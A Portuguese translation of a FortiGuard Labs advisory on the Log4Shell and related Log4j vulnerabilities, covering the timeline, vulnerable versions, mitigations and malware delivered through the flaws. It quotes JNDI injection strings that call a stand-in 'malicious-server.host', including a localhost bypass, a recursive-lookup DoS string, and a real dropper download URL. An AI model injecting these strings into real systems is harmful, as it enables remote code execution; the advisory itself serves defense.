Atualizações críticas da vulnerabilidade do Apache Log4j (Log4Shell): o que você precisa saber

Relatório de pesquisa de ameaças do FortiGuard Labs

Plataformas afetadas: qualquer aplicativo e serviço que usa a versão vulnerável do Log4j2
Usuários afetados: qualquer organização que usa a versão vulnerável do Log4j
Impacto: invasores remotos obtêm controle dos sistemas vulneráveis
Nível de gravidade: Crítico
FAMÍLIAS DE MALWARE: Mirai, Orcus, Nanocore, Muhstik, Khonsari, Remote Access, JMSAppender, CoinMiner, SitesLoader, Linux, Kinsing
TT&CK IDS: T1106 – API nativa, T1059 – Intérprete de comandos e scripts, T1102 – Serviço Web, T1068 – Exploração para Escalonamento de Privilégios, T1021 – Serviços Remotos, T1486 – Dados criptografados para impacto, T1027 – Arquivos ou informações ofuscados, T1499 – Negação de serviço de endpoint, T1498 – Negação de serviço da rede, T1203 – Exploração para execução do cliente, T1584.005 – Botnet

 

Começando 09 de dezembro ^th, a maior do mundo Internet-conectado foi forçado a contar com uma nova vulnerabilidade crítica descoberta no quadro Apache Log4j implantado em inúmeros servidores. Oficialmente rotulado como CVE-2021-44228, mas coloquialmente conhecido como “Log4Shell”, esta vulnerabilidade é trivial de explorar e permite a execução remota completa de código em um sistema de destino. Isso rendeu à vulnerabilidade uma pontuação CVSS de 10 – o máximo.

No December 14 ^th, a Apache Software Foundation revelou uma segunda vulnerabilidade Log4j (CVE-2021-45046). Foi inicialmente identificado como uma vulnerabilidade de negação de serviço (DoS) com uma pontuação CVSS de 3,7 e gravidade moderada. As coisas foram de mal a pior em 16 de dezembro ^th devido à descoberta de vazamentos de informações e da natureza execução remota de código da vulnerabilidade. Isso fez com que o Apache atualizasse o comunicado e atualizasse a pontuação CVSS para esta vulnerabilidade para 9.0.

No December 18 ^th , uma terceira vulnerabilidade Log4J foi descoberto (CVE-2021-45105 – Apache Log4j2 nem sempre proteger contra recursão infinita na avaliação de pesquisa). Esta correção foi lançada em resposta a uma vulnerabilidade recém-descoberta que torna o Log4j suscetível a um ataque de negação de serviço (DoS).

No December 19 ^th, uma variante “wormable” do Mirai Internet das coisas malwares incorporando código de exploração para CVE-2021-44228 foi descoberto. Várias conversas em canais OSINT discutiram se este é um “worm”.

Este blog descreve o que você precisa saber sobre as vulnerabilidades do Apache Log4j, incluindo detalhes, campanhas associadas ao Log4j e uma suposta variante do malware Mirai “wormable”.

O que é Log4j e por que isso é significativo?

Log4j é uma estrutura de registro extensível baseada em Java amplamente usada por aplicativos e serviços em todo o mundo (lista CISA de softwares relacionados). Freqüentemente, uma dependência de Log4j terá duas a três camadas de profundidade (uma dependência de uma dependência). A natureza onipresente do Log4j é parte do que torna o CVE-2021-44228 tão perigoso. Milhões de aplicativos, como iCloud, Steam e Minecraft, usam Log4j para registro. Um invasor simplesmente precisa fazer com que o aplicativo registre uma string especial para explorar com êxito esta vulnerabilidade.

A estrutura Log4j fornece uma interface com o JNDI (Java Naming and Directory Interface), que permite uma conexão a um serviço de diretório externo como o LDAP (Lightweight Directory Access Protocol). Isso forma a base de várias tentativas de exploração atualmente vistas à solta, por meio das quais pesquisas JNDI inseguras permitem que um invasor remoto não autenticado execute código arbitrário.

Curiosamente, a exploração inicial do CVE-2021-44228 parece ter sido criada antes do lançamento do patch. De acordo com Cloudflare, a explorar se encontrado tão cedo quanto 01 de dezembro ^r, nove dias antes do lançamento do patch. Também vale a pena mencionar que o Minecraft foi o canário na mina de carvão destacando o problema, pois foi um dos primeiros servidores a ser atacado.

O que aconteceu ?

No November 24 ^th, Equipe de Segurança Cloud da Alibaba relatou uma vulnerabilidade crítica no Log4j para The Apache Software Foundation. Em resposta, a Apache publicou um candidato a lançamento em 6 de dezembro para abordar essa vulnerabilidade, que a equipe de segurança em nuvem do Alibaba considerou insuficiente. Antes que o Apache fizesse a atualização necessária, um tweet foi postado em 9 de dezembro ^, insinuando que abusar do JNDI Lookup no Log4j pode levar à execução remota de código. Esta postagem parece ter desencadeado um turbilhão nas comunidades de segurança e de hackers.

No dia seguinte, a Apache lançou o Log4j 2.15.0 como uma correção oficial. Por volta dessa época, os invasores começaram a farejar vítimas em potencial, procurando por máquinas vulneráveis. No mesmo dia, a CISA lançou um aviso pedindo aos usuários e administradores que atualizassem o Log4j para 2.15.0 o mais rápido possível. O aviso foi seguido por uma página de orientação de vulnerabilidade do Apache Log4j detalhando o problema.

SANS então mudou seu alerta Infocon para amarelo pela primeira vez desde o infame surto WannaCry em 2017. Os alertas Infocon pretendem refletir mudanças no tráfego malicioso e a possibilidade de conectividade interrompida e se aplicam às condições da infraestrutura da Internet. O Infocon só foi elevado ao status amarelo anteriormente para incidentes graves, como Heartbleed e Shellshock (ambos em 2014), o que significa a gravidade do Log4Shell.

A situação piorou em 14 de dezembro ^th , quando Apache lançado Log4j 2.16.0 devido a uma correção insuficiente na versão anterior. Esta segunda vulnerabilidade, rotulada CVE-2021-45046 (com uma pontuação CVSS de 3,7), causa uma condição de negação de serviço (DoS) quando explorada com sucesso. Os agentes de ameaças não perderam tempo aproveitando o Lo4Shell, implantando novos malwares e programas potencialmente indesejados (PUAs) para comprometer máquinas vulneráveis.

No December 16 ^th, Apache atualizado a pontuação CVSS para CVE-2021-45046 3,7-9,0. Uma investigação mais aprofundada revelou que um vazamento de informações e execução remota de código em alguns ambientes e execução de código local em todos os ambientes podem ser alcançados devido à exploração bem-sucedida. A gravidade também foi alterada de moderada para crítica.

Log4j versão 2.17.0 foi lançado em 18 de dezembro ^th em resposta a outra vulnerabilidade Log4j. Com o rótulo CVE-2021-45105, a falha de segurança mais recente é uma vulnerabilidade de negação de serviço com uma pontuação CVSS de 7,5 e é classificada como alta pelo Apache.

Como funciona o exploit – CVE-2021-44228?

1. Depois que um alvo é selecionado, um invasor adiciona uma consulta JNDI a uma solicitação de conexão a esse alvo em um campo que provavelmente será registrado via Log4j. Por exemplo: “$ {jndi: ldap://malicious-server.host/aaa} ”
2. Uma versão vulnerável do Log4j então pega essa solicitação e tenta entrar em contato com “malicioso-server.host” com uma consulta LDAP.
3. Se a conexão for bem-sucedida, o “malware-server.host” sob o controle do invasor responde à consulta inserindo um local do arquivo de classe Java malicioso nos dados do diretório.
4. A implementação Java no destino baixa o arquivo de classe Java malicioso e o executa.

Como funciona a exploração de execução remota de código – CVE-2021-45046?

1. Depois que um alvo é selecionado, um invasor adiciona uma consulta JNDI a uma solicitação de conexão a esse alvo em um campo que provavelmente será registrado via Log4j. Devido à correção para CVE-2021-44228 no Log3j 2.15.0, as consultas JNDI remotas não são mais permitidas por padrão. Portanto, isso pode ser contornado usando o seguinte como exemplo: “$ {jndi: ldap: //127.0.0.1#malicious-server.host/aaa}”
2. A versão 2.15.0 do Log4j verá a solicitação como válida devido ao localhost estar presente antes do “#”; entretanto, a estrutura ainda resolverá a string inteira e tentará contatar “malicioso-server.host” com uma consulta LDAP.
3. Se a conexão for bem-sucedida, o “malware-server.host” sob o controle do invasor responde à consulta inserindo um local do arquivo de classe Java malicioso nos dados do diretório.
4. A implementação Java no destino fará o download do arquivo de classe Java malicioso e o executará.

Como funciona a exploração de negação de serviço (DoS) – CVE-2021-45105?

Esta vulnerabilidade não é considerada parte do Log4Shell. Isso será mais complexo de executar porque um invasor precisaria ter conhecimento e controle sobre os comandos de pesquisa (por exemplo, por meio do Thread Context Map). A vulnerabilidade é uma recursão infinita, portanto, uma exploração bem-sucedida resultaria em um ataque de negação de serviço (DoS).

1. Para tirar proveito disso, o aplicativo vulnerável (ou malicioso) precisará usar uma Pesquisa de mapa de contexto com um layout de padrão personalizado.
2. Uma linha de log pode ser criada de forma que, quando acionada, uma condição de loop infinito seja acionada, criando assim uma negação de serviço por esgotamento de recursos.

por exemplo, logger.info (“Exemplo de linha de registro {}”, “$ {$ {:: – $ {:: – $$ {:: – j}}}}”);

Os ataques que utilizam CVE-2021-44228 e CVE-2021-45046 aumentaram?

FortiGuard Labs viu um aumento constante na detecção de ataques usando nosso IPS assinatura, que abrange tanto CVE do – “Apache.Log4j.Error.Log.Remote.Code.Execution” – até 15 de dezembro ^th.

Quais versões do Log4j são vulneráveis?

• CVE-2021-44228 : Todas as versões do Log4j de 2.0-beta9 a 2.12.1 e 2.13.0 a 2.14.1 (também inclui 2.15.0-rc1) são vulneráveis.
• CVE-2021-45046 : versões Log4j de 2.0-beta9 a 2.15.0
• CVE-2021-45105 : versões Log4j de 2.0-beta9 a 2.16.0

Essas vulnerabilidades foram corrigidas?

Sim, os usuários do Java 8 ou posterior são aconselhados a atualizar para o Log4j 2.17.0 o mais rápido possível. No entanto, devido à incompletude da correção oferecida no 2.15.0, o Apache lançou as versões subsequentes do Log4j 2.16.0, 2.17.0, que os usuários são fortemente aconselhados a aplicar.

Para Java 7, os usuários devem atualizar para a versão 2.12.2.

O fornecedor forneceu alguma atenuação?

Sim, o Apache forneceu as seguintes informações de mitigação para Log4Shell (CVE-2021-44228):

Mitigação Log4j 1.x: Log4j 1.x não tem Lookups, então o risco é menor. Os aplicativos que usam Log4j 1.x são vulneráveis ​​a esse ataque apenas quando usam JNDI em sua configuração. Um CVE separado (CVE-2021-4104) foi apresentado para esta vulnerabilidade. Para atenuar: audite sua configuração de registro para garantir que não haja JMSAppender configurado. Esta vulnerabilidade não afeta as configurações do Log4j 1.x sem JMSAppender.

Mitigação Log4j 2.x: Implementar uma das técnicas de mitigação abaixo.

Os usuários do Java 8 (ou posterior) devem atualizar para a versão 2.16.0.
Os usuários que precisam do Java 7 devem atualizar para a versão 2.12.2 quando estiver disponível (trabalho em andamento, deverá estar disponível em breve).

Caso contrário, remova a classe JndiLookup do caminho de classe: zip -q -d log4j-core – *. Jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Observe que esta vulnerabilidade afeta apenas o arquivo JAR log4j-core. Os aplicativos que usam apenas o arquivo JAR log4j-api sem o arquivo JAR log4j-core não são afetados por esta vulnerabilidade.

A Apache forneceu as seguintes informações de mitigação para CVE-2021-45046:

Atenuação Log4j 1.x
Log4j 1.x não é afetado por esta vulnerabilidade.

Mitigação Log4j 2.x
Implementar uma das seguintes técnicas de mitigação:

Os usuários do Java 8 (ou posterior) devem atualizar para a versão 2.16.0.
Os usuários do Java 7 devem atualizar para a versão 2.12.2.
Caso contrário, em qualquer versão diferente de 2.16.0, você pode remover a classe JndiLookup do caminho de classe: zip -q -d log4j-core – *. Jar org / apache / logging / log4j / core / lookup / JndiLookup.class
Os usuários são aconselhado a não habilitar JNDI no Log4j 2.16.0. Se o JMS Appender for necessário, use Log4j 2.12.2.

Observe que esta vulnerabilidade afeta apenas o arquivo JAR log4j-core. Os aplicativos que usam apenas o arquivo JAR log4j-api sem o arquivo JAR log4j-core não são afetados por esta vulnerabilidade.

Além disso, observe que Apache Log4j é o único subprojeto de Logging Services afetado por esta vulnerabilidade. Isso não afeta outros projetos como Log4net e Log4cxx.

A Apache forneceu as seguintes informações de mitigação para CVE-2021-45105:

Atenuação Log4j 1.x
Log4j 1.x não é afetado por esta vulnerabilidade.

Mitigação Log4j 2.x
Implementar uma das seguintes técnicas de mitigação:

Os usuários do Java 8 (ou posterior) devem atualizar para a versão 2.17.0. Como alternativa, isso pode ser atenuado na configuração:

Em PatternLayout na configuração de registro, substitua as pesquisas de contexto como $ {ctx: loginId} ou $$ {ctx: loginId} por padrões de mapa de contexto de thread (% X,% mdc ou% MDC).

Caso contrário, na configuração, remova as referências a pesquisas de contexto como $ {ctx: loginId} ou $$ {ctx: loginId} onde se originam de fontes externas ao aplicativo, como cabeçalhos HTTP ou entrada do usuário.

Observe que esta vulnerabilidade afeta apenas o arquivo JAR log4j-core. Os aplicativos que usam apenas o arquivo JAR log4j-api sem o arquivo JAR log4j-core não são afetados por esta vulnerabilidade.

Além disso, observe que Apache Log4j é o único subprojeto de Logging Services afetado por esta vulnerabilidade. Isso não afeta outros projetos como Log4net e Log4cxx.

A Fortinet protege contra tentativas de exploração?

Sim, a Fortinet lançou a assinatura IPS “Apache.Log4j.Error.Log.Remote.Code.Execution”, com VID 51006 para bloquear tentativas de exploração para CVE-2021-44228 e CVE-2021-45046. Esta assinatura foi inicialmente lançada no pacote IPS versão 19.215. O FortiGuard Labs fornece a assinatura IPS “Apache.Log4j.Error.Log.Thread.Context.DoS” contra CVE-2021-45105.

Observou-se que malware e aplicativos potencialmente indesejados (PUA) foram implantados por meio de ataques que usam o Log4Shell?

Malware como Khonsari ransomware, Kinsing, Mirai, Muhstik, Elknot, m8220, Orcus RAT, XMRig, SitesLoader e Nanocore RAT são relatados como tendo sido entregues nesses ataques subsequentes. Um vídeo também foi postado mostrando que é possível rodar o jogo de tiro em primeira pessoa Doom em um servidor Minecraft abusando da vulnerabilidade.

Abaixo estão breves descrições de cada tipo de malware:

Khonsari ransomware

Khonsari é um ransomware que criptografa arquivos em pastas específicas em máquinas comprometidas e exige um resgate para descriptografá-los. É chamado de Khonsari porque adiciona a extensão de arquivo .khonsari aos arquivos que criptografa.

Kinsing

Kinsing é um malware escrito em Go que executa um criptominer e tenta se propagar dentro do ambiente comprometido. Kinsing existe já em janeiro de 2020.

Mirai

Mirai é um malware multi-arquitetônico baseado em Linux. Inicialmente implantado em dispositivos de rede expostos, está cada vez mais sendo usado contra dispositivos IoT (Internet of Things). Uma vez infectado, um dispositivo comprometido se torna um bot que é absorvido por um botnet (uma coleção de bots). Esses botnets são usados ​​principalmente para ataques de negação de serviço distribuída (DDoS).

Elknot

Também conhecido como BillGates, inicialmente era apenas um malware baseado em Linux. No entanto, ele já foi transferido para o Windows. O malware é usado para lançar ataques de negação de serviço distribuída (DDoS).

m8220

m8220 é um botnet de mineração para plataformas Windows e Linux.

Muhstik

Muhstik é um malware Linux que transforma uma máquina comprometida em um bot e é conhecido por explorar vulnerabilidades para propagação. Uma das vulnerabilidades notáveis ​​exploradas por Muhstik é Atlassian.Confluence.CVE-2021-26084.Remote.Code.Execution (CVE-2021-26084).

O FortiGuard Labs postou anteriormente um blog no Muhkstik:

• Ataque recente usa vulnerabilidade no servidor Confluence

Orcus RAT

Orcus é um Trojan de acesso remoto (RAT) que tem sido fortemente anunciado e vendido em fóruns clandestinos desde pelo menos 2016. Embora um desenvolvedor de software canadense tenha sido preso por criar e vender o RAT em 2019, o Orcus RAT está em uso hoje como seu código-fonte foi vazado. Como um RAT, ele executa várias ações em uma máquina comprometida por meio de comandos recebidos de seu servidor de comando e controle (C&C).

SitesLoader

O dropper de script de shell abaixo baixa um binário Go compactado com UPX de http://103.104.73.155:8080/index. Este binário também é um minerador de criptografia XMRig.

XMRig

XMRig é um software de criptomoeda de código aberto usado para extrair criptomoeda Monero. Embora o XMRig seja um software legítimo, ele costuma ser abusado por agentes de ameaças para extrair ilegalmente o Monero na máquina comprometida.

 

Fonte: FortiNet